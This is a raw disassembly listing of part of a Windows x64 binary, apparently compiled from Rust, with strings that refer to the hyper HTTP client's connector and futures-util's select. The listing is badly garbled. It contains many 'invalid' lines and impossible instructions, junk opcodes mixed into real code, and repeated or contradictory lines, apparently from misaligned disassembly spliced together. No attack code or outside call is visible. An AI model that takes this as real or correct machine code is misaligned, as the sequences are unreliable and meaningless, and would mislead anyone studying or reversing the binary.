mov r12, qword [rbp + 0xea8]
mov rcx, qword [0x14023c258]
xor ebx, ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
jmp 0x14011a1f0
mov r8, qword [rbp + 0xf08]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rbp + 0x8e0]
mov r14, qword [rbp + 0x8d0]
mov rbx, qword [rbp + 0x8d8]
add byte [rax - 0x75], cl
popfq
fmul dword [rax]
add byte [rax], al
shl rdi, 5
add rdi, r14
mov rdx, qword [rbp + 0xf20]
mov byte [rdx + 0x134], 1
lea rsi, [rdx + 0x138]
mov r8, qword [rdx + 0x138]
test r8, r8
je 0x14011a246
cmp byte [rdx + 0x133], 0
je 0x14011a246
cmp qword [rdx + 0x140], 0
je 0x14011a23a
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r11, r14
mov rdx, qword [rbp + 0xf20]
mov rdx, qword [rbp + 0xf20]
jmp 0x14011a249
mov r11, r14
mov byte [rdx + 0x133], 0
mov byte [rdx + 0x134], 0
mov rax, qword [rdx + 0x128]
mov r9, qword [rax]
or byte [rcx - 0x75], al
cmp rcx, 0x3b9aca00
or byte [rcx - 0x75], al
cmp rcx, 0x3b9aca00
mov qword [rbp + 0xf00], r13
mov qword [rbp + 0xea8], r12
mov qword [rbp + 0xed0], rbx
mov qword [rbp + 0xec8], r11
add byte [rbp + 0x2b], dh
add byte [rbp + 0x2b], dh
mov ecx, dword [r9 + 0x38]
mov r13d, 2
cmp ecx, 0x3b9aca00
mov qword [rbp + 0xef0], rdi
jne 0x14011a330
mov r12d, 0x3b9aca00
mov esp, 0x3b9aca00
invalid
mov rax, r11
jmp 0x14011a62a
mov rdx, qword [r9 + 0x40]
movzx eax, byte [r9 + 0x66]
test byte [r9 + 0x61], 1
jne 0x14011a36a
test al, al
je 0x14011a372
invalid
invalid
add byte [rax], al
invalid
test byte [rdx + 0x4c000000], ah
mov eax, ebx
mov rax, r11
cmp r14, rdi
je 0x14011a591
mov rax, r11
jmp 0x14011a2ee
add r14, 0x20
cmp r14, rdi
je 0x14011a591
invalid
invalid
add al, byte [rax]
invalid
test byte [rbx + 0x41000002], ah
movzx ecx, word [rsi]
movzx ecx, word [r14]
cmp cx, 2
je 0x14011a591
movdqu xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp - 0x42], xmm1
movdqa xmmword [rbp - 0x50], xmm0
jg 0x14011a354
mov al, 0x66
test ecx, ecx
jg 0x14011a354
mov al, 0x66
test ecx, ecx
je 0x14011a2e1
mov word [rax], cx
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rbp - 0x42]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x14011a2e1
mov r10, rdi
sub r10, r14
shr r10, 5
test r10d, r10d
je 0x14011b4e2
mov rdi, r9
mov rax, qword [r9 + 0x30]
xor byte [r13 - 0x77], al
ror dword [rax - 0x77], 1
ret 0xc148
invalid
invalid
xor byte [r13 - 0x77], al
ror dword [rax - 0x77], 1
ret 0xc148
je 0x14011a5c8
xor edx, edx
div r9
mov r8, rdx
mov r15, rax
jmp 0x14011a5d3
test al, al
je 0x14011a53b
xor r13d, r13d
test r14, r14
mov dword [rbp + 0xdc4], ecx
mov qword [rbp + 0xce8], rdx
je 0x14011a390
cmp rdi, r14
je 0x14011a390
movzx r13d, byte [r14]
mov qword [rbp + 0xe68], r9
mov qword [rbp + 0xd20], 4
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rbp + 0xd28], xmm0
mov qword [rbp + 0x8d0], 4
test eax, edx
or byte [rax], al
add byte [rax + rax], al
add byte [rax], al
test eax, edx
or byte [rax], al
add byte [rax + rax], al
add byte [rax], al
movdqu xmmword [rbp + 0x8d8], xmm0
cmp rdi, r14
je case.0x14010aa7a.434
mov rbx, rdi
sti
lea r15, [rbp + 0xd20]
lea r12, [rbp + 0x8d0]
jmp 0x14011a415
invalid
cmp byte [rcx + rcx*4 - 0x20], cl
mov rax, r12
mov rcx, qword [rax]
mov r8, rdx
shl r8, 5
mov word [rcx + r8], di
movaps xmm0, xmmword [rbp - 0x50]
sub byte [rbp - 0x50], al
sub byte [rbp - 0x50], al
movups xmmword [rcx + r8 + 2], xmm0
movdqu xmm0, xmmword [rbp - 0x42]
movdqu xmmword [rcx + r8 + 0x10], xmm0
adc byte [rax - 1], cl
ret 0x8948
push rax
adc byte [rcx - 0x7d], cl
invalid
and byte [rcx + 0x39], cl
invalid
je case.0x14010aa7a.434
adc byte [rax - 1], cl
ret 0x8948
movzx edi, word [r14]
cmp di, 2
je case.0x14010aa7a.434
test r13b, r13b
test ch, ch
setne al
movups xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp - 0x42], xmm1
adc dword [rbp - 0x42], ecx
adc dword [rbp - 0x42], ecx
movaps xmmword [rbp - 0x50], xmm0
test di, di
sete cl
xor cl, al
je 0x14011a45e
mov rdx, qword [rbp + 0xd30]
cmp rdx, qword [rbp + 0xd28]
cmp edx, dword [rbp + 0xd28]
xor byte [0x17b59a44a], cl
xchg ebp, eax
sub byte [0x17586a451], cl
add byte [rbp + 0x35], dh
cmp edx, dword [rbp + 0xd28]
add byte [rbp + 0x35], dh
jne 0x14011a486
mov rcx, r15
call fcn.140053e80
dec dword [rcx + rcx*4 - 8]
dec dword [rcx + rcx*4 - 8]
jmp 0x14011a47d
mov rdx, qword [rbp + 0x8e0]
cmp rdx, qword [rbp + 0x8d8]
add byte [rax], al
jne 0x14011a3dd
invalid
mov rcx, r12
call fcn.140053e80
mov rax, r12
mov rdx, qword [rax + 0x10]
jmp 0x14011a3e0
mov rax, r15
jmp 0x14011a3e0
invalid
cmp qword [rbp + 0xed0], 0
je 0x14011a4ae
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp + 0xec8]
mov eax, dword [rbp + 0xec8]
mov ecx, 0x3100121d
ror byte [rbx + rcx*4 - 0x7b], cl
mov eax, dword [rbp + 0xec8]
mov eax, dword [rbp + 0xec8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rbp + 0xd20]
mov esi, dword [rbp + 0xd20]
and byte [0xcb5da4b7], cl
xchg ebp, eax
mov r10, qword [rbp + 0xd28]
mov r8, qword [rbp + 0xd30]
sub byte [0xcb5da4be], cl
test dword [rax], esi
or eax, 0x8b480000
mov rax, qword [rbp + 0x8d0]
invalid
invalid
test eax, esp
invalid
mov rax, qword [rbp + 0x8d0]
add byte [rax], al
mov qword [rbp + 0xee0], rax
loopne case.0x14010ab6c.437
add byte [rax], al
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0xeb0], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x8e0]
mov rdi, r8
shl rdi, 5
add rdi, r14
test rax, rax
test eax, eax
test eax, eax
mov qword [rbp + 0xf08], r10
je 0x14011a62f
mov r11, rax
mov rax, qword [rbp + 0xe68]
test dword [rax + 0xe], ebp
add byte [rax], al
test dword [rax + 0xe], ebp
add byte [rax], al
mov rbx, qword [rax + 0x30]
mov r13d, dword [rax + 0x38]
cmp r13d, 0x3b9aca00
mov qword [rbp + 0xe90], r14
nop
invalid
add byte [rax], al
mov qword [rbp + 0xef0], rdi
jne 0x14011a69c
pop rax
xor byte [rbx + rcx*4 + 0x68], al
cmp byte [rcx - 0x7f], al
std
add dl, cl
invalid
nop
invalid
mov r12d, 0x3b9aca00
mov rdi, r11
jmp 0x14011a7c5
mov rax, r11
cmp r14, rdi
je 0x14011a591
mov rax, r11
jmp 0x14011a551
add r14, 0x20
cmp r14, rdi
je 0x14011a591
movzx ecx, word [r14]
cmp cx, 2
cmp ecx, 2
cmp ecx, 2
je 0x14011a591
movdqu xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp - 0x42], xmm1
movdqa xmmword [rbp - 0x50], xmm0
test cx, cx
jne 0x14011a548
mov word [rax], 0
add byte [rax], al
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rbp - 0x42]
movdqu xmmword [rax + 0x10], xmm0
movq qword [rax + 0x10], mm0
movq qword [rax + 0x10], mm0
add rax, 0x20
jmp 0x14011a548
mov r8d, 4
xor edx, edx
mov rdi, rax
mov qword [rbp + 0xf08], rbx
mov r14, r11
mov ecx, dword [r9 + 0x38]
cmp ecx, 0x3b9aca00
mov qword [rbp + 0xef0], rdi
jne 0x14011a65b
sahf
add byte [rax], al
invalid
sahf
add byte [rax], al
add byte [rcx - 0x44], al
add dl, cl
invalid
mov r12d, 0x3b9aca00
jmp 0x14011a735
xor edx, edx
div r9d
rol byte [rcx - 9], cl
int1
mov r8d, edx
mov r15d, eax
mov eax, ecx
xor edx, edx
div r10d
mov r12d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x14011a5f9
xor edx, edx
div r9
jmp 0x14011a5fe
xor edx, edx
div r9d
add r12d, eax
mov eax, r12d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r15, rax
jb 0x14011b4ff
mov r9, rdi
imul eax, eax, 0x3b9aca00
add dl, cl
invalid
cmp eax, dword [rcx + 0x29]
invalid
mov rax, r11
jmp 0x14011a912
mov r9, qword [rbp + 0xe68]
mov ecx, dword [rbp + 0xe68]
mov r8, qword [rbp + 0xee0]
mov rdx, qword [rbp + 0xeb0]
mov ecx, dword [r9 + 0x38]
cmp ecx, 0x3b9aca00
mov qword [rbp + 0xef0], rdi
je 0x14011a5bd
mov qword [rbp + 0xeb0], rdx
mov qword [rbp + 0xee0], r8
mov r10, rdi
sub r10, r14
shr r10, 5
test r10d, r10d
test edx, edx
je 0x14011b564
mov rdi, r9
mov rax, qword [r9 + 0x30]
mov r9d, r10d
mov ecx, edx
mov ecx, edx
mov rdx, rax
shr rdx, 0x20
je 0x14011a6c8
xor edx, edx
div r9
mov r8, rdx
mov r15, rax
jmp 0x14011a6d3
test r8d, r8d
je 0x14011b60d
mov r9d, r8d
mov rax, rbx
shr rax, 0x20
je 0x14011a764
mov rax, rbx
xor edx, edx
div r9
mov rcx, rdx
mov ecx, edx
mov r15, rax
jmp 0x14011a770
xor edx, edx
div r9d
mov r8d, edx
mov eax, edx
mov eax, edx
mov r15d, eax
mov eax, ecx
xor edx, edx
div r10d
mov r12d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
invalid
je 0x14011a6f9
invalid
and byte [rdi + rax + 0x31], dh
ror byte [rcx - 9], cl
div r9
xor edx, edx
div r9
jmp 0x14011a6fe
xor edx, edx
div r9d
add r12d, eax
mov eax, r12d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r15, rax
jb 0x14011b588
mov r9, rdi
imul eax, eax, 0x3b9aca00
retf 0x3b9a
sub r12d, eax
mov r8, qword [rbp + 0xee0]
mov rdx, qword [rbp + 0xeb0]
mov al, 0xe
add byte [rax], al
mov al, 0xe
add byte [rax], al
mov r13d, 2
test rdx, rdx
je 0x14011a755
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbp + rdx + 0x48], cl
mov ecx, dword [0x14023c258]
mov rcx, qword [0x14023c258]
xor edx, edx
mov rbx, r9
ror byte [rcx + rcx*4 - 0x35], cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9, rbx
mov rax, r14
mov rbx, qword [rbp + 0xf08]
jmp 0x14011a912
mov eax, ebx
xor edx, edx
div r9d
mov ecx, edx
mov r15d, eax
mov rdi, r11
mov eax, r13d
xor edx, edx
div r8d
mov r12d, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
leave
add dl, cl
invalid
cmp ecx, dword [rax + 1]
enter 0xffffffffffff8948, 0xffffffffffffffc1
shr rcx, 0x20
je 0x14011a79a
invalid
leave
add dl, cl
invalid
invalid
xor edx, edx
div r9
jmp 0x14011a79f
xor edx, edx
div r9d
add r12d, eax
mov eax, r12d
mov eax, esp
mov eax, esp
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r15, rax
jb 0x14011b62a
imul eax, eax, 0x3b9aca00
sub r12d, eax
mov byte [rbp + 0xeef], 1
lea r9, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xce8]
mov r8d, dword [rbp + 0xdc4]
call fcn.140178860
cmp r13d, 0x3b9aca00
std
add dl, cl
invalid
cmp esi, dword [rbp + 0x20]
std
add dl, cl
invalid
mov r8d, 0x3b9aca00
mov r14, qword [rbp + 0xe90]
nop
invalid
add byte [rax], al
mov r9, qword [rbp + 0xe68]
mov rbx, qword [rbp + 0xf08]
jmp 0x14011a8a7
add dl, cl
invalid
nop
invalid
mov rax, rbx
test edi, edi
mov r14, qword [rbp + 0xe90]
mov rbx, qword [rbp + 0xf08]
je 0x14011b663
mov r10d, edi
mov rcx, rax
shr rcx, 0x20
je 0x14011a845
rol byte [rcx - 9], cl
mov r9d, edx
ror dword [rcx - 0x1776bb3f], 1
ror dword [rcx - 0x1776bb3f], 1
xor edx, edx
div edi
mov r8d, eax
mov eax, eax
mov eax, eax
mov eax, edx
imul rdx, r9, 0x3b9aca00
add rax, rdx
mov rdx, rax
ret 0xc148
invalid
invalid
je 0x14011a875
ret 0xc148
xor edx, edx
div r10
jmp 0x14011a87a
xor edx, edx
div r10d
mov r9, qword [rbp + 0xe68]
add r8d, eax
mov eax, r8d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rcx, rax
jb 0x14011b67d
invalid
invalid
invalid
add byte [rax], al
invalid
imul eax, eax, 0x3b9aca00
sub r8d, eax
add dl, cl
invalid
shl rdi, 5
out 5, eax
mov r10, qword [rbp + 0xee0]
add rdi, r10
mov r13, qword [rbp - 0x50]
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0xc80], xmm0
movups xmm0, xmmword [rbp - 0x38]
movaps xmmword [rbp + 0xc90], xmm0
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0xca0], xmm0
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0xcb0], xmm0
movups xmm0, xmmword [rbp - 8]
movaps xmmword [rbp + 0xcc0], xmm0
sub dword [rbp + 0xcc0], eax
sub dword [rbp + 0xcc0], eax
movdqu xmm0, xmmword [rbp + 8]
movdqa xmmword [rbp + 0xcd0], xmm0
add byte [rax - 0x75], cl
sbb byte [r8 - 0x77], r9b
sbb byte [rax - 0x77], cl
test eax, esp
or al, 0
add byte [rcx + rcx*4 - 0x10], cl
sbb byte [rax - 0x77], cl
test eax, esp
or al, 0
add byte [rcx + rcx*4 - 0x10], cl
mov r11, qword [rbp + 0xeb0]
mov rdx, qword [rbp + 0xce0]
mov qword [rbp + 0xd80], rdx
movaps xmm0, xmmword [rbp + 0xc80]
movaps xmm1, xmmword [rbp + 0xc90]
movaps xmm2, xmmword [rbp + 0xca0]
movaps xmm3, xmmword [rbp + 0xcb0]
movaps xmmword [rbp + 0xd20], xmm0
add byte [rdi], cl
sub dword [rbp + 0xd30], ecx
movaps xmmword [rbp + 0xd40], xmm2
movaps xmmword [rbp + 0xd50], xmm3
push rax
or eax, 0x280f0000
test eax, eax
or al, 0
add byte [rdi], cl
sub dword [rbp + 0xd60], eax
or eax, 0x290f0000
popfq
push rax
or eax, 0x280f0000
test eax, eax
or al, 0
add byte [rdi], cl
sub dword [rbp + 0xd60], eax
movaps xmm0, xmmword [rbp + 0xcd0]
movaps xmmword [rbp + 0xd70], xmm0
mov qword [rsi], r13
movaps xmm0, xmmword [rbp + 0xd20]
movaps xmm1, xmmword [rbp + 0xd30]
movaps xmm2, xmmword [rbp + 0xd40]
movaps xmm3, xmmword [rbp + 0xd50]
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 0x28], xmm2
sub byte [rdi], cl
adc dword [rsi + 0x38], ebx
sub byte [rdi], cl
adc dword [rsi + 0x38], ebx
movaps xmm0, xmmword [rbp + 0xd60]
movups xmmword [rsi + 0x48], xmm0
movdqa xmm0, xmmword [rbp + 0xd70]
add byte [rax], al
add byte [rax], al
movdqu xmmword [rsi + 0x58], xmm0
mov rdx, qword [rbp + 0xd80]
or eax, 0x89480000
push rsi
push 0x7056894c
invalid
or eax, 0x89480000
push rsi
push 0x7056894c
invalid
mov qword [rsi + 0x78], r11
mov qword [rsi + 0x80], r10
mov qword [rsi + 0x88], rdi
mov qword [rsi + 0x90], rcx
mov dword [rsi + 0x98], r8d
mov qword [rsi + 0xa0], rax
mov qword [rsi + 0xa8], rbx
mov qword [rsi + 0xb0], r14
mov al, 0
add byte [rax], al
mov rax, qword [rbp + 0xef0]
mov qword [rsi + 0xb8], rax
xchg byte [rax + 0x4c000000], bh
mov dword [rsi + 0xc0], edi
test eax, esi
invalid
xchg byte [rax + 0x4c000000], bh
mov dword [rsi + 0xc0], edi
mov dword [rsi + 0xc8], r12d
add r9, 0x10
mov qword [rsi + 0xd0], r9
lea rcx, [rsi + 0xd8]
lea rdx, [rbp - 0x50]
mov r8d, 0x918
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x9f0], 0
add rsi, 0x9f1
lea rdx, [rbp + 0x8d0]
lea edx, [rbp + 0x8d0]
mov r8d, 0x387
mov eax, 0x387
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xf20]
lea rdi, [rdx + 0x138]
mov edx, 0x138
mov edx, 0x138
movzx eax, byte [rdx + 0xb28]
lea rcx, [0x1401ef7b0]
invalid
invalid
invalid
add byte [rax - 0x73], cl
or eax, 0xd4d35
invalid
invalid
invalid
or rax, 0x4634800
or dword [rax + 1], 0xad8b4cc8
add eax, ecx
mov r13, qword [rbp + 0xf00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
mov r13, qword [rbp + 0xf00]
mov rsi, qword [rbp + 0xf10]
adc byte [rdi], cl
add byte [rax], al
mov r12, qword [rbp + 0xea8]
mov r15, qword [rbp + 0xed8]
fmul dword [rsi]
add byte [rax], al
fmul dword [rsi]
add byte [rax], al
jmp rax
mov word [rdx + 0xb29], 0
lea rcx, [rdx + 0x210]
mov r8d, 0xd8
invalid
or eax, dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
mov dl, byte [rax]
add al, byte [rax]
add byte [rcx - 0x48], al
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x77], cl
cli
mov rbx, rdx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rbx
cmp dword [rbx + 0x210], 2
adc byte [rdx], al
add byte [rax], al
invalid
mov edx, 0x89480006
fiadd dword [rbx + 0x210bb]
adc byte [rdx], al
add byte [rax], al
invalid
adc byte [rdx], al
add byte [rax], al
add cl, byte [rdi]
jne 0x14011ac0a
test dword [rcx], edi
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea rax, [rdx + 0x2b0]
mov rcx, qword [rdx + 0x2e0]
mov qword [rdx + 0xe98], rax
mov dword [rdx + 0xe98], eax
mov qword [rdx + 0xea0], rcx
mov byte [rdx + 0xea9], 0
invalid
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
sldt word [rax]
sldt word [rax]
add rdx, 0xb30
add byte [rax], al
lea rcx, [rbp + 0xe40]
mov qword [rbp + 0xef0], rdx
mov r8, r15
call fcn.14011c9c0
mov r13, qword [rbp + 0xe40]
mov ebp, dword [rbp + 0xe40]
add byte [rax - 0x77], cl
xchg ebp, eax
invalid
mov ebp, dword [rbp + 0xe40]
invalid
cmp r13, 3
jne 0x14011abe3
mov al, 3
jmp 0x14011afe7
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
mov dword [rbp + 0xf00], ebp
add byte [rcx + rcx*4 - 0x53], cl
add byte [rdi], cl
add byte [rax], al
mov dword [rbp + 0xf00], ebp
mov rbx, qword [rdx + 0xb60]
jmp 0x14011afc6
mov qword [rbp + 0xf08], rdi
mov qword [rbp + 0xf10], rsi
adc byte [rdi], cl
add byte [rax], al
adc byte [rdi], cl
add byte [rax], al
mov qword [rbp + 0xf00], r13
sldt word [rax]
mov rbx, qword [rdx + 0xb30]
add byte [rax], al
test rbx, rbx
jne 0x14011ae49
test ebp, eax
add al, byte [rax]
invalid
test ebp, eax
add al, byte [rax]
add byte [rax - 0x73], cl
or eax, 0xa33ed
lea rcx, str.cannot_poll_Select_twiceC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_future_select.rs
lea r8, [0x1401be000]
add eax, 0xa346e
mov edx, 0x18
call fcn.140186f60
jmp 0x14011b6c3
and cl, byte [rbx]
add byte [rax], al
and cl, byte [rbx]
add byte [rax], al
mov rbx, qword [rdx + 0xb30]
test rbx, rbx
mov qword [rbp + 0xf00], r13
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf08], rdi
jne 0x14011acf5
test dword [rdi], ebp
add dword [rax], eax
invalid
invalid
test dword [rdi], ebp
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xa33ab
lea rcx, str.cannot_poll_Select_twiceC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.29_src_future_select.rs
lea r8, [0x1401be000]
add eax, 0xa342c
mov edx, 0x18
call fcn.140186f60
jmp 0x14011b6c3
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rbx + rcx*4 - 0x43], cl
invalid
mov r15, qword [rbp + 0xe48]
mov rbx, qword [rbp + 0xe50]
movdqu xmm6, xmmword [rbp + 0xe58]
outsd dx, dword [rsi]
mov ch, 0x58
invalid
add byte [rax], al
mov rcx, qword [rbp + 0xef0]
mov ecx, dword [rbp + 0xef0]
outsd dx, dword [rsi]
mov ch, 0x58
invalid
mov ecx, dword [rbp + 0xef0]
call fcn.14011c890
jmp 0x14011b185
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
lea rcx, [rdx + 0x2e8]
mov r8d, 0xa0
mov rsi, rdx
mov esi, edx
mov esi, edx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + 0x2b0]
mov rcx, qword [rsi + 0x2e0]
lea rbx, [rsi + 0x388]
mov qword [rsi + 0x6f0], rax
invalid
invalid
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsi + 0x6f8], rcx
mov byte [rsi + 0x701], 0
lea rax, [rsi + 0x358]
lea rdx, [rsi + 0x708]
lea edx, [rsi + 0x708]
lea edx, [rsi + 0x708]
or byte [rdi], al
add byte [rax], al
mov qword [rsi + 0xa70], rax
mov qword [rsi + 0xa78], rcx
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0xa81], 0
mov qword [rsi + 0xb40], rdx
mov dword [rsi + 0xb40], edx
mov byte [rsi + 0xb2a], 0
lea rax, [rsi + 0xa88]
mov byte [rdx], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg byte [rax + 0xf00000a], cl
mov byte [rdx], cl
add byte [rax], al
movups xmm0, xmmword [rdi]
mov byte [rdx], cl
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
and byte [rdi], cl
adc byte [rdi + 0x30], bl
and byte [rdi], cl
adc byte [rdi + 0x30], bl
movups xmmword [rsi + 0xa88], xmm0
adc dword [rsi + 0xa88], eax
movups xmmword [rsi + 0xa98], xmm1
mov ds, word [rax + 0xf00000a]
adc dword [rsi + 0xaa8], edx
test al, 0xa
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0xaa8], xmm2
test al, 0xa
add byte [rax], al
movups xmmword [rsi + 0xab8], xmm3
movups xmm0, xmmword [rdi + 0x40]
or al, byte [rax]
add byte [rdi], cl
adc byte [rdi + 0x40], al
movups xmmword [rsi + 0xac8], xmm0
movups xmm0, xmmword [rdi + 0x50]
movups xmmword [rsi + 0xad8], xmm0
xchg al, bl
or al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0xf08
xchg al, bl
or al, byte [rax]
add byte [rax - 0x77], cl
mov ebp, 0xf08
movdqu xmm0, xmmword [rdi + 0x60]
invalid
movdqu xmmword [rsi + 0xae8], xmm0
mov qword [rsi + 0xb30], rbx
xchg al, ch
or al, byte [rax]
add byte [rax - 0x77], cl
sahf
xor byte [rbx], cl
add byte [rax], al
mov qword [rsi + 0xb38], rax
or eax, dword [rax]
add byte [rax - 0x73], cl
lea eax, [rax + 0xe]
add byte [rax], al
lea rcx, [rbp + 0xe40]
mov rdx, rbx
mov edx, ebx
mov r8, r15
call fcn.14011c9c0
add byte [rax - 0x75], cl
test dword [rax + 0xe], eax
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0xe], eax
add byte [rax], al
cmp rax, 3
jne 0x14011ad39
mov rax, qword [rbp + 0xf20]
mov eax, dword [rbp + 0xf20]
mov rcx, qword [rax + 0xb38]
mov rdx, r15
call fcn.1401780e0
test al, al
je 0x14011adfd
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x2aee904], dh
add byte [rax], al
mov al, 4
jmp 0x14011afe7
mov rcx, qword [rbp + 0xe48]
mov rdx, qword [rbp + 0xe60]
mov edx, dword [rbp + 0xe60]
mov edx, dword [rbp + 0xe60]
mov qword [rbp + 0xda0], rdx
movups xmm0, xmmword [rbp + 0xe50]
test dword [rax + 0xe], edx
add byte [rax], al
test dword [rax + 0xe], edx
add byte [rax], al
movaps xmmword [rbp + 0xd90], xmm0
mov rsi, qword [rbp + 0xf20]
sldt word [rax]
sldt word [rax]
mov rdx, qword [rsi + 0xb38]
xchg esi, eax
cmp byte [rbx], cl
add byte [rax], al
invalid
add byte [rax - 0x39], cl
xchg byte [rax], dh
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xaf8], rax
mov qword [rsi + 0xb00], rcx
movaps xmm0, xmmword [rbp + 0xd90]
mov qword [rsi + 0xb30], 0
add byte [rax], al
mov qword [rsi + 0xaf8], rax
add byte [rax], al
mov qword [rsi + 0xb00], rcx
add byte [rax], al
movaps xmm0, xmmword [rbp + 0xd90]
or eax, 0x110f0000
xchg byte [rax], cl
or eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xda0]
mov qword [rsi + 0xb18], rax
movups xmmword [rsi + 0xb08], xmm0
mov rax, qword [rbp + 0xda0]
add byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], bl
sbb byte [rbx], cl
add byte [rax], al
mov qword [rsi + 0xb20], rdx
mov qword [rsi + 0xb18], rax
sbb byte [rbx], cl
add byte [rax], al
mov qword [rsi + 0xb20], rdx
add byte [rax - 0x75], cl
xchg byte [rax], bl
or eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax], edx
or eax, 0x8b480000
mov rax, qword [rsi + 0xb18]
mov qword [rbp + 0xd10], rax
mov rax, qword [rsi + 0xaf8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg al, bh
or al, byte [rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov es, word [rax]
or eax, dword [rax]
add byte [rdi], cl
mov rcx, qword [rsi + 0xb00]
movups xmm0, xmmword [rsi + 0xb08]
adc byte [rsi + 0xb08], al
adc byte [rsi + 0xb08], al
movaps xmmword [rbp + 0xd00], xmm0
sub dword [rbp + 0xd00], eax
mov qword [rbp + 0xcf0], rax
mov qword [rbp + 0xcf8], rcx
mov rbx, qword [rsi + 0xb40]
mov eax, 1
mov r8, qword [rbp + 0xf00]
mov eax, dword [rbp + 0xf00]
mov eax, dword [rbp + 0xf00]
mov r9, qword [rbp + 0xf10]
jmp 0x14011af58
mov rcx, qword [rbp + 0xf20]
mov qword [rcx + 0xaf8], 3
mov qword [rcx + 0xb00], rbx
movdqa xmm0, xmmword [rbp + 0xd90]
add bl, dh
movq qword [rcx + 0xb08], mm0
add bl, dh
movq qword [rcx + 0xb08], mm0
mov rax, qword [rbp + 0xda0]
mov qword [rcx + 0xb18], rax
mov rax, qword [rcx + 0xb40]
mov qword [rcx + 0xb30], rbx
mov qword [rcx + 0xb38], rax
lea rcx, [rbp + 0xe40]
mov rdx, rbx
mov r8, r15
add byte [rax - 0x77], cl
fimul dword [rbp - 0x77]
clc
call fcn.14011c9c0
cmp dword [rbp + 0xe40], 3
add byte [rax], al
add esi, dword [rbp + 0x2d]
add byte [rax], al
add esi, dword [rbp + 0x2d]
mov rax, qword [rbp + 0xf20]
mov rdx, qword [rax + 0xb38]
nop
cmp byte [rbx], cl
add byte [rax], al
nop
cmp byte [rbx], cl
add byte [rax], al
lea rcx, [rbp + 0xe40]
mov r8, r15
call fcn.14011c9c0
invalid
sbb eax, dword [rax]
add byte [rbx + 0xe40bd], al
add byte [rbx], al
jne 0x14011aed8
invalid
mov al, 5
jmp 0x14011afe7
mov rax, qword [rbp + 0xe60]
mov qword [rbp + 0xdb0], rax
movups xmm0, xmmword [rbp + 0xe40]
movups xmm1, xmmword [rbp + 0xe50]
